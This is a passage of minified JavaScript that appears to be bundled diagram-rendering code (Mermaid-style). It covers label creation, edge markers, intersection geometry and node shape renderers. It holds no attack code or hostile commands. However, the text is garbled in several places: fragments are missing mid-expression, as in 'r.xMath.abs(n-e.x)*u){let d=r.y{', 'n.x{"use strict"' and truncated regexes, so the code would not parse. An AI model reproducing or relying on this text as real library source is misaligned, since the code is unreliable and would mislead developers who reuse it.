i=="object"&&(i=i[0]);let a=ge();if(vr(a.flowchart.htmlLabels)){i=i.replace(/\\n|\n/g,"
    "),X.debug("vertexText"+i);let s=await k9(Ji(i)),l={isNode:n,label:s,labelStyle:e.replace("fill:","color:")};return Bnt(l,a)}else{let s=document.createElementNS("http://www.w3.org/2000/svg","text");s.setAttribute("style",e.replace("color:","fill:"));let l=[];typeof i=="string"?l=i.split(/\\n|\n|/gi):Array.isArray(i)?l=i:l=[];for(let u of l){let h=document.createElementNS("http://www.w3.org/2000/svg","tspan");h.setAttributeNS("http://www.w3.org/XML/1998/namespace","xml:space","preserve"),h.setAttribute("dy","1em"),h.setAttribute("x","0"),r?h.setAttribute("class","title-row"):h.setAttribute("class","row"),h.textContent=u.trim(),s.appendChild(h)}return s}},"createLabel"),ks=Fnt});var Pbe,$nt,Obe,Bbe=N(()=>{"use strict";pt();Pbe=o((t,e,r,n,i)=>{e.arrowTypeStart&&Obe(t,"start",e.arrowTypeStart,r,n,i),e.arrowTypeEnd&&Obe(t,"end",e.arrowTypeEnd,r,n,i)},"addEdgeMarkers"),$nt={arrow_cross:"cross",arrow_point:"point",arrow_barb:"barb",arrow_circle:"circle",aggregation:"aggregation",extension:"extension",composition:"composition",dependency:"dependency",lollipop:"lollipop"},Obe=o((t,e,r,n,i,a)=>{let s=$nt[r];if(!s){X.warn(`Unknown arrow type: ${r}`);return}let l=e==="start"?"Start":"End";t.attr(`marker-${e}`,`url(${n}#${i}_${a}-${s}${l})`)},"addEdgeMarker")});function NC(t,e){ge().flowchart.htmlLabels&&t&&(t.style.width=e.length*9+"px",t.style.height="12px")}var yz,Wa,$be,zbe,znt,Gnt,Fbe,Gbe,Vbe=N(()=>{"use strict";pt();RC();zo();yr();Xt();tr();gr();X9();O2();Bbe();yz={},Wa={},$be=o(async(t,e)=>{let r=ge(),n=vr(r.flowchart.htmlLabels),i=e.labelType==="markdown"?di(t,e.label,{style:e.labelStyle,useHtmlLabels:n,addSvgBackground:!0},r):await ks(e.label,e.labelStyle),a=t.insert("g").attr("class","edgeLabel"),s=a.insert("g").attr("class","label");s.node().appendChild(i);let l=i.getBBox();if(n){let h=i.children[0],f=qe(i);l=h.getBoundingClientRect(),f.attr("width",l.width),f.attr("height",l.height)}s.attr("transform","translate("+-l.width/2+", "+-l.height/2+")"),yz[e.id]=a,e.width=l.width,e.height=l.height;let u;if(e.startLabelLeft){let h=await ks(e.startLabelLeft,e.labelStyle),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),Wa[e.id]||(Wa[e.id]={}),Wa[e.id].startLeft=f,NC(u,e.startLabelLeft)}if(e.startLabelRight){let h=await ks(e.startLabelRight,e.labelStyle),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=f.node().appendChild(h),d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),Wa[e.id]||(Wa[e.id]={}),Wa[e.id].startRight=f,NC(u,e.startLabelRight)}if(e.endLabelLeft){let h=await ks(e.endLabelLeft,e.labelStyle),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),f.node().appendChild(h),Wa[e.id]||(Wa[e.id]={}),Wa[e.id].endLeft=f,NC(u,e.endLabelLeft)}if(e.endLabelRight){let h=await ks(e.endLabelRight,e.labelStyle),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),f.node().appendChild(h),Wa[e.id]||(Wa[e.id]={}),Wa[e.id].endRight=f,NC(u,e.endLabelRight)}return i},"insertEdgeLabel");o(NC,"setTerminalWidth");zbe=o((t,e)=>{X.debug("Moving label abc88 ",t.id,t.label,yz[t.id],e);let r=e.updatedPath?e.updatedPath:e.originalPath,n=ge(),{subGraphTitleTotalMargin:i}=Pu(n);if(t.label){let a=yz[t.id],s=t.x,l=t.y;if(r){let u=qt.calcLabelPosition(r);X.debug("Moving label "+t.label+" from (",s,",",l,") to (",u.x,",",u.y,") abc88"),e.updatedPath&&(s=u.x,l=u.y)}a.attr("transform",`translate(${s}, ${l+i/2})`)}if(t.startLabelLeft){let a=Wa[t.id].startLeft,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeStart?10:0,"start_left",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.startLabelRight){let a=Wa[t.id].startRight,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeStart?10:0,"start_right",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.endLabelLeft){let a=Wa[t.id].endLeft,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeEnd?10:0,"end_left",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.endLabelRight){let a=Wa[t.id].endRight,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeEnd?10:0,"end_right",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}},"positionEdgeLabel"),znt=o((t,e)=>{let r=t.x,n=t.y,i=Math.abs(e.x-r),a=Math.abs(e.y-n),s=t.width/2,l=t.height/2;return i>=s||a>=l},"outsideNode"),Gnt=o((t,e,r)=>{X.debug(`intersection calc abc89: + outsidePoint: ${JSON.stringify(e)} + insidePoint : ${JSON.stringify(r)} + node : x:${t.x} y:${t.y} w:${t.width} h:${t.height}`);let n=t.x,i=t.y,a=Math.abs(n-r.x),s=t.width/2,l=r.xMath.abs(n-e.x)*u){let d=r.y{X.debug("abc88 cutPathAtIntersect",t,e);let r=[],n=t[0],i=!1;return t.forEach(a=>{if(!znt(e,a)&&!i){let s=Gnt(e,n,a),l=!1;r.forEach(u=>{l=l||u.x===s.x&&u.y===s.y}),r.some(u=>u.x===s.x&&u.y===s.y)||r.push(s),i=!0}else n=a,i||r.push(a)}),r},"cutPathAtIntersect"),Gbe=o(function(t,e,r,n,i,a,s){let l=r.points;X.debug("abc88 InsertEdge: edge=",r,"e=",e);let u=!1,h=a.node(e.v);var f=a.node(e.w);f?.intersect&&h?.intersect&&(l=l.slice(1,r.points.length-1),l.unshift(h.intersect(l[0])),l.push(f.intersect(l[l.length-1]))),r.toCluster&&(X.debug("to cluster abc88",n[r.toCluster]),l=Fbe(r.points,n[r.toCluster].node),u=!0),r.fromCluster&&(X.debug("from cluster abc88",n[r.fromCluster]),l=Fbe(l.reverse(),n[r.fromCluster].node).reverse(),u=!0);let d=l.filter(S=>!Number.isNaN(S.y)),p=No;r.curve&&(i==="graph"||i==="flowchart")&&(p=r.curve);let{x:m,y:g}=hw(r),y=Cl().x(m).y(g).curve(p),v;switch(r.thickness){case"normal":v="edge-thickness-normal";break;case"thick":v="edge-thickness-thick";break;case"invisible":v="edge-thickness-thick";break;default:v=""}switch(r.pattern){case"solid":v+=" edge-pattern-solid";break;case"dotted":v+=" edge-pattern-dotted";break;case"dashed":v+=" edge-pattern-dashed";break}let x=t.append("path").attr("d",y(d)).attr("id",r.id).attr("class"," "+v+(r.classes?" "+r.classes:"")).attr("style",r.style),b="";(ge().flowchart.arrowMarkerAbsolute||ge().state.arrowMarkerAbsolute)&&(b=md(!0)),Pbe(x,r,b,s,i);let T={};return u&&(T.updatedPath=l),T.originalPath=r.points,T},"insertEdge")});var Vnt,Ube,Hbe=N(()=>{"use strict";Vnt=o(t=>{let e=new Set;for(let r of t)switch(r){case"x":e.add("right"),e.add("left");break;case"y":e.add("up"),e.add("down");break;default:e.add(r);break}return e},"expandAndDeduplicateDirections"),Ube=o((t,e,r)=>{let n=Vnt(t),i=2,a=e.height+2*r.padding,s=a/i,l=e.width+2*s+r.padding,u=r.padding/2;return n.has("right")&&n.has("left")&&n.has("up")&&n.has("down")?[{x:0,y:0},{x:s,y:0},{x:l/2,y:2*u},{x:l-s,y:0},{x:l,y:0},{x:l,y:-a/3},{x:l+2*u,y:-a/2},{x:l,y:-2*a/3},{x:l,y:-a},{x:l-s,y:-a},{x:l/2,y:-a-2*u},{x:s,y:-a},{x:0,y:-a},{x:0,y:-2*a/3},{x:-2*u,y:-a/2},{x:0,y:-a/3}]:n.has("right")&&n.has("left")&&n.has("up")?[{x:s,y:0},{x:l-s,y:0},{x:l,y:-a/2},{x:l-s,y:-a},{x:s,y:-a},{x:0,y:-a/2}]:n.has("right")&&n.has("left")&&n.has("down")?[{x:0,y:0},{x:s,y:-a},{x:l-s,y:-a},{x:l,y:0}]:n.has("right")&&n.has("up")&&n.has("down")?[{x:0,y:0},{x:l,y:-s},{x:l,y:-a+s},{x:0,y:-a}]:n.has("left")&&n.has("up")&&n.has("down")?[{x:l,y:0},{x:0,y:-s},{x:0,y:-a+s},{x:l,y:-a}]:n.has("right")&&n.has("left")?[{x:s,y:0},{x:s,y:-u},{x:l-s,y:-u},{x:l-s,y:0},{x:l,y:-a/2},{x:l-s,y:-a},{x:l-s,y:-a+u},{x:s,y:-a+u},{x:s,y:-a},{x:0,y:-a/2}]:n.has("up")&&n.has("down")?[{x:l/2,y:0},{x:0,y:-u},{x:s,y:-u},{x:s,y:-a+u},{x:0,y:-a+u},{x:l/2,y:-a},{x:l,y:-a+u},{x:l-s,y:-a+u},{x:l-s,y:-u},{x:l,y:-u}]:n.has("right")&&n.has("up")?[{x:0,y:0},{x:l,y:-s},{x:0,y:-a}]:n.has("right")&&n.has("down")?[{x:0,y:0},{x:l,y:0},{x:0,y:-a}]:n.has("left")&&n.has("up")?[{x:l,y:0},{x:0,y:-s},{x:l,y:-a}]:n.has("left")&&n.has("down")?[{x:l,y:0},{x:0,y:0},{x:l,y:-a}]:n.has("right")?[{x:s,y:-u},{x:s,y:-u},{x:l-s,y:-u},{x:l-s,y:0},{x:l,y:-a/2},{x:l-s,y:-a},{x:l-s,y:-a+u},{x:s,y:-a+u},{x:s,y:-a+u}]:n.has("left")?[{x:s,y:0},{x:s,y:-u},{x:l-s,y:-u},{x:l-s,y:-a+u},{x:s,y:-a+u},{x:s,y:-a},{x:0,y:-a/2}]:n.has("up")?[{x:s,y:-u},{x:s,y:-a+u},{x:0,y:-a+u},{x:l/2,y:-a},{x:l,y:-a+u},{x:l-s,y:-a+u},{x:l-s,y:-u}]:n.has("down")?[{x:l/2,y:0},{x:0,y:-u},{x:s,y:-u},{x:s,y:-a+u},{x:l-s,y:-a+u},{x:l-s,y:-u},{x:l,y:-u}]:[{x:0,y:0}]},"getArrowPoints")});function Unt(t,e){return t.intersect(e)}var qbe,Wbe=N(()=>{"use strict";o(Unt,"intersectNode");qbe=Unt});function Hnt(t,e,r,n){var i=t.x,a=t.y,s=i-n.x,l=a-n.y,u=Math.sqrt(e*e*l*l+r*r*s*s),h=Math.abs(e*r*s/u);n.x{"use strict";o(Hnt,"intersectEllipse");MC=Hnt});function qnt(t,e,r){return MC(t,e,e,r)}var Ybe,Xbe=N(()=>{"use strict";vz();o(qnt,"intersectCircle");Ybe=qnt});function Wnt(t,e,r,n){var i,a,s,l,u,h,f,d,p,m,g,y,v,x,b;if(i=e.y-t.y,s=t.x-e.x,u=e.x*t.y-t.x*e.y,p=i*r.x+s*r.y+u,m=i*n.x+s*n.y+u,!(p!==0&&m!==0&&jbe(p,m))&&(a=n.y-r.y,l=r.x-n.x,h=n.x*r.y-r.x*n.y,f=a*t.x+l*t.y+h,d=a*e.x+l*e.y+h,!(f!==0&&d!==0&&jbe(f,d))&&(g=i*l-a*s,g!==0)))return y=Math.abs(g/2),v=s*h-l*u,x=v<0?(v-y)/g:(v+y)/g,v=a*u-i*h,b=v<0?(v-y)/g:(v+y)/g,{x,y:b}}function jbe(t,e){return t*e>0}var Kbe,Qbe=N(()=>{"use strict";o(Wnt,"intersectLine");o(jbe,"sameSign");Kbe=Wnt});function Ynt(t,e,r){var n=t.x,i=t.y,a=[],s=Number.POSITIVE_INFINITY,l=Number.POSITIVE_INFINITY;typeof e.forEach=="function"?e.forEach(function(g){s=Math.min(s,g.x),l=Math.min(l,g.y)}):(s=Math.min(s,e.x),l=Math.min(l,e.y));for(var u=n-t.width/2-s,h=i-t.height/2-l,f=0;f1&&a.sort(function(g,y){var v=g.x-r.x,x=g.y-r.y,b=Math.sqrt(v*v+x*x),T=y.x-r.x,S=y.y-r.y,w=Math.sqrt(T*T+S*S);return b{"use strict";Qbe();Zbe=Ynt;o(Ynt,"intersectPolygon")});var Xnt,e4e,t4e=N(()=>{"use strict";Xnt=o((t,e)=>{var r=t.x,n=t.y,i=e.x-r,a=e.y-n,s=t.width/2,l=t.height/2,u,h;return Math.abs(a)*s>Math.abs(i)*l?(a<0&&(l=-l),u=a===0?0:l*i/a,h=l):(i<0&&(s=-s),u=s,h=i===0?0:s*a/i),{x:r+u,y:n+h}},"intersectRect"),e4e=Xnt});var $n,xz=N(()=>{"use strict";Wbe();Xbe();vz();Jbe();t4e();$n={node:qbe,circle:Ybe,ellipse:MC,polygon:Zbe,rect:e4e}});function Wl(t,e,r,n){return t.insert("polygon",":first-child").attr("points",n.map(function(i){return i.x+","+i.y}).join(" ")).attr("class","label-container").attr("transform","translate("+-e/2+","+r/2+")")}var Li,ti,bz=N(()=>{"use strict";RC();zo();Xt();yr();gr();tr();Li=o(async(t,e,r,n)=>{let i=ge(),a,s=e.useHtmlLabels||vr(i.flowchart.htmlLabels);r?a=r:a="node default";let l=t.insert("g").attr("class",a).attr("id",e.domId||e.id),u=l.insert("g").attr("class","label").attr("style",e.labelStyle),h;e.labelText===void 0?h="":h=typeof e.labelText=="string"?e.labelText:e.labelText[0];let f=u.node(),d;e.labelType==="markdown"?d=di(u,sr(Ji(h),i),{useHtmlLabels:s,width:e.width||i.flowchart.wrappingWidth,classes:"markdown-node-label"},i):d=f.appendChild(await ks(sr(Ji(h),i),e.labelStyle,!1,n));let p=d.getBBox(),m=e.padding/2;if(vr(i.flowchart.htmlLabels)){let g=d.children[0],y=qe(d),v=g.getElementsByTagName("img");if(v){let x=h.replace(/]*>/g,"").trim()==="";await Promise.all([...v].map(b=>new Promise(T=>{function S(){if(b.style.display="flex",b.style.flexDirection="column",x){let w=i.fontSize?i.fontSize:window.getComputedStyle(document.body).fontSize,A=parseInt(w,10)*5+"px";b.style.minWidth=A,b.style.maxWidth=A}else b.style.width="100%";T(b)}o(S,"setupImage"),setTimeout(()=>{b.complete&&S()}),b.addEventListener("error",S),b.addEventListener("load",S)})))}p=g.getBoundingClientRect(),y.attr("width",p.width),y.attr("height",p.height)}return s?u.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"):u.attr("transform","translate(0, "+-p.height/2+")"),e.centerLabel&&u.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),u.insert("rect",":first-child"),{shapeSvg:l,bbox:p,halfPadding:m,label:u}},"labelHelper"),ti=o((t,e)=>{let r=e.node().getBBox();t.width=r.width,t.height=r.height},"updateNodeBounds");o(Wl,"insertPolygonShape")});var jnt,r4e,n4e=N(()=>{"use strict";bz();pt();Xt();xz();jnt=o(async(t,e)=>{e.useHtmlLabels||ge().flowchart.htmlLabels||(e.centerLabel=!0);let{shapeSvg:n,bbox:i,halfPadding:a}=await Li(t,e,"node "+e.classes,!0);X.info("Classes = ",e.classes);let s=n.insert("rect",":first-child");return s.attr("rx",e.rx).attr("ry",e.ry).attr("x",-i.width/2-a).attr("y",-i.height/2-a).attr("width",i.width+e.padding).attr("height",i.height+e.padding),ti(e,s),e.intersect=function(l){return $n.rect(e,l)},n},"note"),r4e=jnt});function Tz(t,e,r,n){let i=[],a=o(l=>{i.push(l,0)},"addBorder"),s=o(l=>{i.push(0,l)},"skipBorder");e.includes("t")?(X.debug("add top border"),a(r)):s(r),e.includes("r")?(X.debug("add right border"),a(n)):s(n),e.includes("b")?(X.debug("add bottom border"),a(r)):s(r),e.includes("l")?(X.debug("add left border"),a(n)):s(n),t.attr("stroke-dasharray",i.join(" "))}var i4e,To,a4e,Knt,Qnt,Znt,Jnt,eit,tit,rit,nit,iit,ait,sit,oit,lit,cit,uit,hit,fit,dit,pit,s4e,mit,git,o4e,IC,wz,l4e,c4e=N(()=>{"use strict";yr();Xt();gr();pt();Hbe();RC();xz();n4e();bz();i4e=o(t=>t?" "+t:"","formatClass"),To=o((t,e)=>`${e||"node default"}${i4e(t.classes)} ${i4e(t.class)}`,"getClassesFromNode"),a4e=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=i+a,l=[{x:s/2,y:0},{x:s,y:-s/2},{x:s/2,y:-s},{x:0,y:-s/2}];X.info("Question main (Circle)");let u=Wl(r,s,s,l);return u.attr("style",e.style),ti(e,u),e.intersect=function(h){return X.warn("Intersect called"),$n.polygon(e,l,h)},r},"question"),Knt=o((t,e)=>{let r=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),n=28,i=[{x:0,y:n/2},{x:n/2,y:0},{x:0,y:-n/2},{x:-n/2,y:0}];return r.insert("polygon",":first-child").attr("points",i.map(function(s){return s.x+","+s.y}).join(" ")).attr("class","state-start").attr("r",7).attr("width",28).attr("height",28),e.width=28,e.height=28,e.intersect=function(s){return $n.circle(e,14,s)},r},"choice"),Qnt=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=4,a=n.height+e.padding,s=a/i,l=n.width+2*s+e.padding,u=[{x:s,y:0},{x:l-s,y:0},{x:l,y:-a/2},{x:l-s,y:-a},{x:s,y:-a},{x:0,y:-a/2}],h=Wl(r,l,a,u);return h.attr("style",e.style),ti(e,h),e.intersect=function(f){return $n.polygon(e,u,f)},r},"hexagon"),Znt=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,void 0,!0),i=2,a=n.height+2*e.padding,s=a/i,l=n.width+2*s+e.padding,u=Ube(e.directions,n,e),h=Wl(r,l,a,u);return h.attr("style",e.style),ti(e,h),e.intersect=function(f){return $n.polygon(e,u,f)},r},"block_arrow"),Jnt=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:-a/2,y:0},{x:i,y:0},{x:i,y:-a},{x:-a/2,y:-a},{x:0,y:-a/2}];return Wl(r,i,a,s).attr("style",e.style),e.width=i+a,e.height=a,e.intersect=function(u){return $n.polygon(e,s,u)},r},"rect_left_inv_arrow"),eit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:-2*a/6,y:0},{x:i-a/6,y:0},{x:i+2*a/6,y:-a},{x:a/6,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"lean_right"),tit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:2*a/6,y:0},{x:i+a/6,y:0},{x:i-2*a/6,y:-a},{x:-a/6,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"lean_left"),rit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:-2*a/6,y:0},{x:i+2*a/6,y:0},{x:i-a/6,y:-a},{x:a/6,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"trapezoid"),nit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:a/6,y:0},{x:i-a/6,y:0},{x:i+2*a/6,y:-a},{x:-2*a/6,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"inv_trapezoid"),iit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:0,y:0},{x:i+a/2,y:0},{x:i,y:-a/2},{x:i+a/2,y:-a},{x:0,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"rect_right_inv_arrow"),ait=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=i/2,s=a/(2.5+i/50),l=n.height+s+e.padding,u="M 0,"+s+" a "+a+","+s+" 0,0,0 "+i+" 0 a "+a+","+s+" 0,0,0 "+-i+" 0 l 0,"+l+" a "+a+","+s+" 0,0,0 "+i+" 0 l 0,"+-l,h=r.attr("label-offset-y",s).insert("path",":first-child").attr("style",e.style).attr("d",u).attr("transform","translate("+-i/2+","+-(l/2+s)+")");return ti(e,h),e.intersect=function(f){let d=$n.rect(e,f),p=d.x-e.x;if(a!=0&&(Math.abs(p)e.height/2-s)){let m=s*s*(1-p*p/(a*a));m!=0&&(m=Math.sqrt(m)),m=s-m,f.y-e.y>0&&(m=-m),d.y+=m}return d},r},"cylinder"),sit=o(async(t,e)=>{let{shapeSvg:r,bbox:n,halfPadding:i}=await Li(t,e,"node "+e.classes+" "+e.class,!0),a=r.insert("rect",":first-child"),s=e.positioned?e.width:n.width+e.padding,l=e.positioned?e.height:n.height+e.padding,u=e.positioned?-s/2:-n.width/2-i,h=e.positioned?-l/2:-n.height/2-i;if(a.attr("class","basic label-container").attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("x",u).attr("y",h).attr("width",s).attr("height",l),e.props){let f=new Set(Object.keys(e.props));e.props.borders&&(Tz(a,e.props.borders,s,l),f.delete("borders")),f.forEach(d=>{X.warn(`Unknown node property ${d}`)})}return ti(e,a),e.intersect=function(f){return $n.rect(e,f)},r},"rect"),oit=o(async(t,e)=>{let{shapeSvg:r,bbox:n,halfPadding:i}=await Li(t,e,"node "+e.classes,!0),a=r.insert("rect",":first-child"),s=e.positioned?e.width:n.width+e.padding,l=e.positioned?e.height:n.height+e.padding,u=e.positioned?-s/2:-n.width/2-i,h=e.positioned?-l/2:-n.height/2-i;if(a.attr("class","basic cluster composite label-container").attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("x",u).attr("y",h).attr("width",s).attr("height",l),e.props){let f=new Set(Object.keys(e.props));e.props.borders&&(Tz(a,e.props.borders,s,l),f.delete("borders")),f.forEach(d=>{X.warn(`Unknown node property ${d}`)})}return ti(e,a),e.intersect=function(f){return $n.rect(e,f)},r},"composite"),lit=o(async(t,e)=>{let{shapeSvg:r}=await Li(t,e,"label",!0);X.trace("Classes = ",e.class);let n=r.insert("rect",":first-child"),i=0,a=0;if(n.attr("width",i).attr("height",a),r.attr("class","label edgeLabel"),e.props){let s=new Set(Object.keys(e.props));e.props.borders&&(Tz(n,e.props.borders,i,a),s.delete("borders")),s.forEach(l=>{X.warn(`Unknown node property ${l}`)})}return ti(e,n),e.intersect=function(s){return $n.rect(e,s)},r},"labelRect");o(Tz,"applyNodePropertyBorders");cit=o(async(t,e)=>{let r;e.classes?r="node "+e.classes:r="node default";let n=t.insert("g").attr("class",r).attr("id",e.domId||e.id),i=n.insert("rect",":first-child"),a=n.insert("line"),s=n.insert("g").attr("class","label"),l=e.labelText.flat?e.labelText.flat():e.labelText,u="";typeof l=="object"?u=l[0]:u=l,X.info("Label text abc79",u,l,typeof l=="object");let h=s.node().appendChild(await ks(u,e.labelStyle,!0,!0)),f={width:0,height:0};if(vr(ge().flowchart.htmlLabels)){let y=h.children[0],v=qe(h);f=y.getBoundingClientRect(),v.attr("width",f.width),v.attr("height",f.height)}X.info("Text 2",l);let d=l.slice(1,l.length),p=h.getBBox(),m=s.node().appendChild(await ks(d.join?d.join("
    "):d,e.labelStyle,!0,!0));if(vr(ge().flowchart.htmlLabels)){let y=m.children[0],v=qe(m);f=y.getBoundingClientRect(),v.attr("width",f.width),v.attr("height",f.height)}let g=e.padding/2;return qe(m).attr("transform","translate( "+(f.width>p.width?0:(p.width-f.width)/2)+", "+(p.height+g+5)+")"),qe(h).attr("transform","translate( "+(f.width{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.height+e.padding,a=n.width+i/4+e.padding,s=r.insert("rect",":first-child").attr("style",e.style).attr("rx",i/2).attr("ry",i/2).attr("x",-a/2).attr("y",-i/2).attr("width",a).attr("height",i);return ti(e,s),e.intersect=function(l){return $n.rect(e,l)},r},"stadium"),hit=o(async(t,e)=>{let{shapeSvg:r,bbox:n,halfPadding:i}=await Li(t,e,To(e,void 0),!0),a=r.insert("circle",":first-child");return a.attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("r",n.width/2+i).attr("width",n.width+e.padding).attr("height",n.height+e.padding),X.info("Circle main"),ti(e,a),e.intersect=function(s){return X.info("Circle intersect",e,n.width/2+i,s),$n.circle(e,n.width/2+i,s)},r},"circle"),fit=o(async(t,e)=>{let{shapeSvg:r,bbox:n,halfPadding:i}=await Li(t,e,To(e,void 0),!0),a=5,s=r.insert("g",":first-child"),l=s.insert("circle"),u=s.insert("circle");return s.attr("class",e.class),l.attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("r",n.width/2+i+a).attr("width",n.width+e.padding+a*2).attr("height",n.height+e.padding+a*2),u.attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("r",n.width/2+i).attr("width",n.width+e.padding).attr("height",n.height+e.padding),X.info("DoubleCircle main"),ti(e,l),e.intersect=function(h){return X.info("DoubleCircle intersect",e,n.width/2+i+a,h),$n.circle(e,n.width/2+i+a,h)},r},"doublecircle"),dit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:0,y:0},{x:i,y:0},{x:i,y:-a},{x:0,y:-a},{x:0,y:0},{x:-8,y:0},{x:i+8,y:0},{x:i+8,y:-a},{x:-8,y:-a},{x:-8,y:0}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"subroutine"),pit=o((t,e)=>{let r=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),n=r.insert("circle",":first-child");return n.attr("class","state-start").attr("r",7).attr("width",14).attr("height",14),ti(e,n),e.intersect=function(i){return $n.circle(e,7,i)},r},"start"),s4e=o((t,e,r)=>{let n=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),i=70,a=10;r==="LR"&&(i=10,a=70);let s=n.append("rect").attr("x",-1*i/2).attr("y",-1*a/2).attr("width",i).attr("height",a).attr("class","fork-join");return ti(e,s),e.height=e.height+e.padding/2,e.width=e.width+e.padding/2,e.intersect=function(l){return $n.rect(e,l)},n},"forkJoin"),mit=o((t,e)=>{let r=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),n=r.insert("circle",":first-child"),i=r.insert("circle",":first-child");return i.attr("class","state-start").attr("r",7).attr("width",14).attr("height",14),n.attr("class","state-end").attr("r",5).attr("width",10).attr("height",10),ti(e,i),e.intersect=function(a){return $n.circle(e,7,a)},r},"end"),git=o(async(t,e)=>{let r=e.padding/2,n=4,i=8,a;e.classes?a="node "+e.classes:a="node default";let s=t.insert("g").attr("class",a).attr("id",e.domId||e.id),l=s.insert("rect",":first-child"),u=s.insert("line"),h=s.insert("line"),f=0,d=n,p=s.insert("g").attr("class","label"),m=0,g=e.classData.annotations?.[0],y=e.classData.annotations[0]?"\xAB"+e.classData.annotations[0]+"\xBB":"",v=p.node().appendChild(await ks(y,e.labelStyle,!0,!0)),x=v.getBBox();if(vr(ge().flowchart.htmlLabels)){let C=v.children[0],R=qe(v);x=C.getBoundingClientRect(),R.attr("width",x.width),R.attr("height",x.height)}e.classData.annotations[0]&&(d+=x.height+n,f+=x.width);let b=e.classData.label;e.classData.type!==void 0&&e.classData.type!==""&&(ge().flowchart.htmlLabels?b+="<"+e.classData.type+">":b+="<"+e.classData.type+">");let T=p.node().appendChild(await ks(b,e.labelStyle,!0,!0));qe(T).attr("class","classTitle");let S=T.getBBox();if(vr(ge().flowchart.htmlLabels)){let C=T.children[0],R=qe(T);S=C.getBoundingClientRect(),R.attr("width",S.width),R.attr("height",S.height)}d+=S.height+n,S.width>f&&(f=S.width);let w=[];e.classData.members.forEach(async C=>{let R=C.getDisplayDetails(),I=R.displayText;ge().flowchart.htmlLabels&&(I=I.replace(//g,">"));let L=p.node().appendChild(await ks(I,R.cssStyle?R.cssStyle:e.labelStyle,!0,!0)),E=L.getBBox();if(vr(ge().flowchart.htmlLabels)){let D=L.children[0],_=qe(L);E=D.getBoundingClientRect(),_.attr("width",E.width),_.attr("height",E.height)}E.width>f&&(f=E.width),d+=E.height+n,w.push(L)}),d+=i;let k=[];if(e.classData.methods.forEach(async C=>{let R=C.getDisplayDetails(),I=R.displayText;ge().flowchart.htmlLabels&&(I=I.replace(//g,">"));let L=p.node().appendChild(await ks(I,R.cssStyle?R.cssStyle:e.labelStyle,!0,!0)),E=L.getBBox();if(vr(ge().flowchart.htmlLabels)){let D=L.children[0],_=qe(L);E=D.getBoundingClientRect(),_.attr("width",E.width),_.attr("height",E.height)}E.width>f&&(f=E.width),d+=E.height+n,k.push(L)}),d+=i,g){let 